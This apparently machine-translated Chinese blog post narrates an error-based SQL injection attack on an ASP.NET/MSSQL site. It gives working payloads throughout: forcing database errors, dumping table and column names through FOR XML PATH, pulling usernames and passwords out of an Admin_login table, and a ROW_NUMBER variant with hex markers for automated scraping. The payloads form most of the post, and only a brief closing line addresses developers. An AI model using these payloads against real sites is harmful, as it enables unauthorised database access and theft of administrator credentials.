.NET框架注入

问题:
我遇到的问题是:我在网站上尝试基于联合的注入,当我通过样式注入尝试订单时,网站没有在响应中给出适当数量的列。它给了我加入查询组中第一个表的列数。所以,我累了,并试图找出另一种从查询中提取数据的方法。

有趣的是,从注入和无效输入我发现服务器技术是Microsoft SQL服务器。所以,决定寻找一些漏洞。但是,他们没有工作。

记住,我试图提取数据。没有尝试执行插入查询或更新查询。

所以,我在附加到原始查询的AND语句中尝试了非闭合字符串比较。这是它的样子:

1
URL: http://www.example.com/Department/FacultyDetailViewN.aspx?Id=817' and 1=" --+

1 =“,其中”是非闭合字符串。用一些数据产生异常。

好的,现在我真的很有动力。开始认为我们可以以某种方式提取嵌入在结果错误中的数据。让错误出现。通过错误提取数据。

解决方案:

因此,在牢记了愿景后,我开始编写嵌套的SQL查询并将其与整数:1进行比较,如下所示:

1
?Id=817' and 1=(select table_name from information_schema.tables)--+

img

是的......这不起作用,因为它返回了多个值。虽然修复它并不是什么大问题。

所以,我决定只返回一行作为查询结果。出于测试目的,我使用了select top 1 ,它返回表的第一行。我从information_schema.tables获得了第一个table_name!

1
?Id=817' and 1=(select top 1 table_name from information_schema.tables)--+

瞧!从information_schema表获得第一个table_name。

因此,在解决了第一个问题后,出现了另一个与SQL Server语言语法相关的问题:MSSQL 没有' LIMIT m,n ' 语法!因为,只能在单个单值之间进行比较。

然后,我发现使用了一个很棒的SQL Server hack,它将所有行连接成一个XML。传奇的FOR XML('')破解!

注意: DB_NAME()函数返回MSSQL中当前数据库的名称。

这是我做的:

1
?Id=817' and 1=(select cast(concat(db_name(),0x3a,0x3a,table_name,0x0a) as varchar(8000)) from information_schema.tables for xml path('')) --+

这是数据库中的表。

现在,下一阶段是获取Admin_login表的列。刚刚使用了通用的where条件。

1
?Id=817' and 1=(select cast(concat(db_name(),0x3a,0x3a,column_name,0x0a) as varchar(8000)) from information_schema.columns where table_name=’Admin_login’ for xml path('')) --+

这是表格中的列。现在,只需要提取数据。

现在,一切都很简单。我唯一要做的就是对表执行简单的SQL Select查询:

1
817' and 1=(select cast(concat(UId,0x3a,0x3a,Pwd,0x0a) as varchar(8000)) from Admin_login for xml path('')) --+

并且,这是Admin_login表中的用户名:密码
**就是这样!那是我的第一个方法!**

方法2:

所以,这是另一个查询,我用它通过使用ROW_NUMBER()函数使用行hack逐行提取数据。

1
817' and 1=(SELECT concat(0x35,0x34,0x35,0x31,0x35,0x46,0x46,0x41,0x45,0x39,0x42,0x32,0x37,0x36,0x39,0x31,0x41,0x31,0x30,0x31,0x41,db_name(),0x3a,0x3a,table_name,0x37,0x41,0x46,0x34,0x35,0x38,0x36,0x30,0x43,0x41,0x35,0x45,0x43,0x38,0x46,0x41,0x43,0x45,0x37,0x33) FROM (SELECT ROW_NUMBER() OVER(ORDER BY (select NULL as noorder)) AS RowNum, * FROM information_schema.tables) as alias WHERE RowNum BETWEEN 1 AND 1) — -”;

查询到巨量的信息...但是这个十六进制的东西是用于从使用CURL API提取数据的自定义PHP脚本中提取数据。我请求了GET请求,收到响应后,它会检查数据库返回的数据。这是可能的,因为HEX的东西不是唯一的字符串,然后由页面中的JavaScript搜索。它提取两个唯一字符串之间的子字符串。然后使用编写的特殊JavaScript函数删除重复数据。

自定义PHP脚本从网站检索数据并以表格格式呈现。

因此,开发人员必须采取最大程度的谨慎和预防措施,以确保数据安全,不泄漏接口并将对象引用到外部人员。将服务器升级到最新的Microsoft SQL Server 2017或更高版本。

-------------本文结束感谢您的阅读-------------